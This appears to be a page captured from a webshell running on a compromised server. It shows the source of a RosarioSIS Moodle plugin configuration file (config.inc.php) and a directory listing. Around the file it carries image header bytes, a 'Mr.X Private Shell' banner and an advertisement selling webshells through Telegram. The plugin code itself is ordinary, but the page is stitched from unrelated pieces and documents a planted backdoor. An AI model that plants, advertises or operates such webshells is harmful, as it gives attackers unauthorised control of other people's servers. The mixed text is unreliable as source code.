����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Moodle plugin configuration interface
*/
require_once 'plugins/Moodle/includes/ImportUsers.fnc.php';
// Check the script is called by the right program & plugin is activated.
if ( $_REQUEST['modname'] !== 'School_Setup/Configuration.php'
|| empty( $RosarioPlugins['Moodle'] )
|| $_REQUEST['modfunc'] !== 'config' )
{
$error[] = _( 'You\'re not allowed to use this program!' );
echo ErrorMessage( $error, 'fatal' );
}
// Note: no need to call ProgramTitle().
if ( ! empty( $_REQUEST['save'] ) )
{
if ( ! empty( $_REQUEST['values'] )
&& ! empty( $_POST['values'] )
&& AllowEdit() )
{
// Update program_config table.
$updated = $numeric_error = false;
foreach ( (array) $_REQUEST['values']['program_config'] as $program => $columns )
{
foreach ( (array) $columns as $column => $value )
{
$numeric_columns = [
'MOODLE_PARENT_ROLE_ID',
];
if ( in_array( $column, $numeric_columns )
&& $value != ''
&& ! is_numeric( $value ) )
{
$numeric_error = true;
continue;
}
ProgramConfig( $program, $column, $value );
$updated = true;
}
}
if ( $updated )
{
$note[] = button( 'check' ) . ' ' .
_( 'The plugin configuration has been modified.' );
}
if ( $numeric_error )
{
$error[] = _( 'Please enter valid Numeric data.' );
}
}
// Unset save & values & redirect URL.
RedirectURL( [ 'save', 'values' ] );
}
if ( ! empty( $_REQUEST['check'] ) )
{
if ( ! _validMoodleURLandToken() )
{
$error[] = _( 'Test' ) . ': ' . _( 'Fail' );
}
else
{
$note[] = button( 'check' ) . ' ' . _( 'Test' ) . ': ' . _( 'Success' );
}
// Unset check & redirect URL.
RedirectURL( 'check' );
}
if ( ! empty( $_REQUEST['import_users'] ) )
{
// @since 5.9 Import Moodle Users.
// Users auth='manual'.
$users = MoodleUsersList( 'auth', 'manual' );
// Filter users confirmed=true, suspended=false, and id not exists in moodlexrosario table.
$users_filtered = MoodleUsersFilter( $users );
if ( ! empty( $_REQUEST['values'] ) )
{
$moodle_users_imported = 0;
foreach ( (array) $_REQUEST['values']['ID'] as $moodle_user_id )
{
if ( empty( $_REQUEST['values']['PROFILE'][ $moodle_user_id ] )
|| empty( $users_filtered[ $moodle_user_id ] ) )
{
continue;
}
$moodle_user = $users_filtered[ $moodle_user_id ];
if ( $_REQUEST['values']['PROFILE'][ $moodle_user_id ] === 'student' )
{
$student_id = MoodleUserImportStudent( $moodle_user );
if ( $student_id )
{
MoodleUserEnrollStudent( $student_id );
$moodle_users_imported++;
}
continue;
}
if ( MoodleUserImportUser( $moodle_user, $_REQUEST['values']['PROFILE'][ $moodle_user_id ] ) )
{
$moodle_users_imported++;
}
}
$note[] = sprintf( _( '%s users were imported.' ), $moodle_users_imported );
// Unset values & import_users & redirect URL.
RedirectURL( [ 'values', 'import_users' ] );
}
else
{
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
'&tab=plugins&modfunc=config&plugin=Moodle&import_users=true' ) . '" method="POST" class="import-users-form">';
DrawHeader(
'',
SubmitButton(
_( 'Import Selected Users' ),
'',
' class="import-users-button button-primary"'
)
);
DrawHeader(
CheckboxInput(
'',
'values[PASSWORD_SET_USE_USERNAME]',
_( 'Set Password: use Username'),
'',
true
) .
'<br /><br />' .
MoodleUsersStudentEnrollmentForm()
);
$columns = [
'CHECKBOX' => MakeChooseCheckbox( '', '', 'values[ID]' ),
'PROFILE' => _( 'Profile' ),
'FIRST_NAME' => _( 'First Name' ),
'LAST_NAME' => _( 'Last Name' ),
'EMAIL_ADDRESS' => _( 'Email Address' ),
'USERNAME' => _( 'Username' ),
'ID' => _( 'Moodle ID' ),
];
if ( ROSARIO_DEBUG && function_exists( 'd' ) )
{
d( $users_filtered );
}
$LO_users = MoodleUsersMake( $users_filtered );
ListOutput(
$LO_users,
$columns,
'Moodle User',
'Moodle Users',
[],
[],
[ 'valign-middle' => true ]
);
echo '<br /><div class="center">' . SubmitButton(
_( 'Import Selected Users' ),
'',
' class="import-users-button button-primary"'
) . '</div>';
echo '</form>';
MoodleImportUsersFormConfirmCountdownJS( 'import-users' );
}
}
if ( empty( $_REQUEST['save'] )
&& empty( $_REQUEST['import_users'] ) )
{
if ( ! Config( 'STUDENTS_EMAIL_FIELD' ) )
{
$student_email_field = '<a href="Modules.php?modname=School_Setup/Configuration.php&tab=system"><b>' .
_( 'Student email field' ) . '</b></a>';
$error[] = sprintf(
_( 'You must configure the %s to use this script.' ),
$student_email_field
);
ErrorMessage( $error, 'fatal' );
}
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
'&tab=plugins&modfunc=config&plugin=Moodle&save=true' ) . '" method="POST">';
DrawHeader( '', SubmitButton() );
echo ErrorMessage( $note, 'note' );
echo ErrorMessage( $error, 'error' );
echo '<br />';
$school_title = '';
// If more than 1 school, add its title to table title.
if ( SchoolInfo( 'SCHOOLS_NB' ) > 1 )
{
$school_title = SchoolInfo( 'SHORT_NAME' );
if ( ! $school_title )
{
// No short name, get full title.
$school_title = SchoolInfo( 'TITLE' );
}
$school_title = ' (' . $school_title . ')';
}
PopTable( 'header', _( 'Moodle' ) . $school_title );
// URL.
echo '<table><tr><td>' . TextInput(
ProgramConfig( 'moodle', 'MOODLE_URL' ),
'values[program_config][moodle][MOODLE_URL]',
_( 'Moodle URL' ),
'size=29 placeholder=http://localhost/moodle'
) . '</td></tr>';
// API protocol.
echo '<tr><td>' . SelectInput(
ProgramConfig( 'moodle', 'MOODLE_API_PROTOCOL' ),
'values[program_config][moodle][MOODLE_API_PROTOCOL]',
_( 'API protocol' ),
[ '' => 'XML-RPC', 'rest' => 'REST' ],
false
) . '</td></tr>';
$token = ProgramConfig( 'moodle', 'MOODLE_TOKEN' );
if ( $token
&& ! AllowEdit() ) // Obfuscate token as it is sensitive data.
{
// Fix: do not use mb_strimwidth() as Mbstring polyfill does not implement it.
// @see classes/PHPCompatibility/Mbstring/Mbstring.php
$token = mb_substr( $token, 0, 16 ) . '...';
}
// Token.
echo '<tr><td>' . TextInput(
$token,
'values[program_config][moodle][MOODLE_TOKEN]',
_( 'Moodle Token' ),
'maxlength=32 size=29 placeholder=d6c51ea6ffd9857578722831bcb070e1'
) . '</td></tr>';
// Parent Role ID.
echo '<tr><td>' . TextInput(
ProgramConfig( 'moodle', 'MOODLE_PARENT_ROLE_ID' ),
'values[program_config][moodle][MOODLE_PARENT_ROLE_ID]',
_( 'Moodle Parent Role ID' ),
'maxlength=2 size=2 min=0 placeholder=10'
) . '</td></tr></table>';
PopTable( 'footer' );
echo '<br /><div class="center">' . SubmitButton();
if ( ProgramConfig( 'moodle', 'MOODLE_URL' )
&& ProgramConfig( 'moodle', 'MOODLE_TOKEN' ) )
{
echo '<input type="button" value="' .
AttrEscape( _( 'Test' ) ) .
// Add check param to form's action & remove save.
'" onclick="ajaxLink(this.form.action.replace(\'&save=true\',\'&check=Y\'));" />';
}
echo '</div></form>';
echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname'] .
'&tab=plugins&modfunc=config&plugin=Moodle&import_users=true' ) . '" method="POST">';
echo '<br /><div class="center">';
if ( ProgramConfig( 'moodle', 'MOODLE_URL' )
&& ProgramConfig( 'moodle', 'MOODLE_TOKEN' ) )
{
// @since 5.9 Import Moodle Users.
echo ' ' . SubmitButton( _( 'Import Users' ), '', '' );
}
echo '</div></form>';
}
/**
* Check Moodle URL and Token
* Forms a valid URL
* And that Moodle server responds to webservice test request
*
* @since 3.9
*
* @return bool false if URL or Token not set or invalid, else true
*/
function _validMoodleURLandToken()
{
require_once 'plugins/Moodle/client.php';
// Check Moodle URL if set + token set.
if ( ! MOODLE_URL
|| ! MOODLE_TOKEN )
{
return false;
}
$serverurl = MOODLE_URL . '/webservice/' . MOODLE_API_PROTOCOL . '/server.php?wstoken=' . MOODLE_TOKEN;
if ( ! filter_var( $serverurl, FILTER_VALIDATE_URL ) )
{
return false;
}
// Check URL is responding with cURL.
$functionname = 'core_user_get_users';
// Dummy response function.
function core_user_get_users_response( $response )
{
// We had a response, return true so MoodleAPICall will return true.
return true;
}
$id = 2; // Default Admin ID.
$criteria = [
'key' => 'id',
'value' => $id,
];
$object = [ 'criteria' => $criteria ];
if ( MOODLE_API_PROTOCOL === 'rest' )
{
$object = [ 'criteria' => [ $criteria ] ];
}
return MoodleAPICall( $functionname, $object );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Custom | Folder | 0755 |
|
|
| Grades | Folder | 0755 |
|
|
| Scheduling | Folder | 0755 |
|
|
| School_Setup | Folder | 0755 |
|
|
| Students | Folder | 0755 |
|
|
| Users | Folder | 0755 |
|
|
| includes | Folder | 0755 |
|
|
| README.md | File | 1.83 KB | 0644 |
|
| client.php | File | 3.62 KB | 0644 |
|
| config.inc.php | File | 8.44 KB | 0644 |
|
| functions.php | File | 25.87 KB | 0644 |
|
| getconfig.inc.php | File | 1.3 KB | 0644 |
|